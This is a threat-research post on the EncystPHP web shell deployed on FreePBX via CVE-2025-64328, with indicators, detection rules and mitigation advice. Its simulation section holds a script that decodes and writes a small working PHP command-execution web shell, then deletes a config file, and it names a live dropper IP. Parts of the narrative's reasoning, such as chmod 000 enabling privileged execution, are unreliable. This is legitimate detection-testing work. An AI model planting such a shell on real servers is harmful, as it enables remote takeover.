SOC Prime Bias: Critical

03 Feb 2026 16:33 UTC

EncystPHP: Weaponized FreePBX Web Shell for Persistent Admin Compromise

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
EncystPHP: Weaponized FreePBX Web Shell for Persistent Admin Compromise
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

FortiGuard Labs reports a PHP web shell dubbed EncystPHP deployed on exposed FreePBX instances by exploiting CVE-2025-64328. The implant enables remote command execution, provisions privileged users, and sets layered persistence through cron jobs and follow-on droppers. Activity is linked to the INJ3CTOR3 crew and appears aimed at telecommunications environments. Published indicators include malicious IPs, domains, URLs, and multiple hostile file paths.

Investigation

Investigators traced initial access to a post-authentication command-injection flaw in FreePBX Endpoint Manager. After successful exploitation, the operator pulls a dropper from 45.234.176.202, relaxes permissions on key PHP components, extracts database credentials, creates a root-level account, and adds an attacker-controlled SSH key. Persistence is reinforced with cron entries that repeatedly fetch additional droppers and refresh artifacts. EncystPHP also impersonates legitimate FreePBX files and manipulates timestamps to reduce visibility during routine triage.

Mitigation

Patch FreePBX Endpoint Manager to address CVE-2025-64328 (and any related fixes) as soon as possible. Hunt for unauthorized web shell files, suspicious cron schedules, and newly created privileged local users. Block outbound HTTP to known malicious infrastructure and enforce strict, least-privilege permissions on web-facing directories and PHP assets.

Response

On detection, isolate the affected PBX server, remove EncystPHP artifacts, purge unauthorized cron jobs, and reset local accounts and SSH keys. Review logs and configuration backups to scope changes, then apply current security updates and harden the web interface. Validate that no secondary droppers or persistence mechanisms remain before restoring normal telephony operations.

Attack Flow

Detections

Possible New Account for Persistence [Linux] (via cmdline)

SOC Prime Team
02 Feb 2026

Cron File Was Created (via file_event)

SOC Prime Team
02 Feb 2026

Downloads to Suspicious Folders (via cmdline)

SOC Prime Team
02 Feb 2026

Possible SSH Known Hosts Discovery Attempt [MacOS] (via cmdline)

SOC Prime Team
02 Feb 2026

Possible Base64 Encoded Strings Manipulation (via cmdline)

SOC Prime Team
02 Feb 2026

IOCs (DestinationIP) to detect: Unveiling the Weaponized Web Shell EncystPHP A Persistent FreePBX Web Shell Enabling Long-Term Administrative Compromise

SOC Prime AI Rules
02 Feb 2026

IOCs (HashSha256) to detect: Unveiling the Weaponized Web Shell EncystPHP A Persistent FreePBX Web Shell Enabling Long-Term Administrative Compromise

SOC Prime AI Rules
02 Feb 2026

IOCs (SourceIP) to detect: Unveiling the Weaponized Web Shell EncystPHP A Persistent FreePBX Web Shell Enabling Long-Term Administrative Compromise

SOC Prime AI Rules
02 Feb 2026

Detect Crontab Entries for Persistent Download of k.php and c Dropper [Linux Process Creation]

SOC Prime AI Rules
02 Feb 2026

EncystPHP Web Shell Deployment and Persistence via CVE-2025-64328 [Linux Process Creation]

SOC Prime AI Rules
02 Feb 2026

Detection of EncystPHP Web Shell Activity in FreePBX [Linux File Event]

SOC Prime AI Rules
02 Feb 2026

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    1. Upload the EncystPHP web shell – The attacker crafts a Base64‑encoded PHP payload and delivers it via an HTTP POST to the FreePBX web UI, causing the file ajax.php to be written to /var/www/html/admin/views/ajax.php.
    2. Set restrictive permissions – Immediately after deployment, the attacker runs chmod 000 ajax.php to hide the shell from normal users and force execution under the web server’s privileged account (T1222.002).
    3. Delete critical configuration – To impair detection and force the system to reload with the malicious shell, the attacker removes /etc/freepbx.conf (T1070.004, T1562.001).
    4. Trigger the shell – A simple HTTP GET to the newly created ajax.php executes the payload, establishing a reverse shell (T1105, T1059.004).
  • Regression Test Script: The script reproduces steps 1‑3 in a controlled test directory (/tmp/freepbx_test) to avoid affecting a production system.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Cleanup Commands:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Test environment cleaned."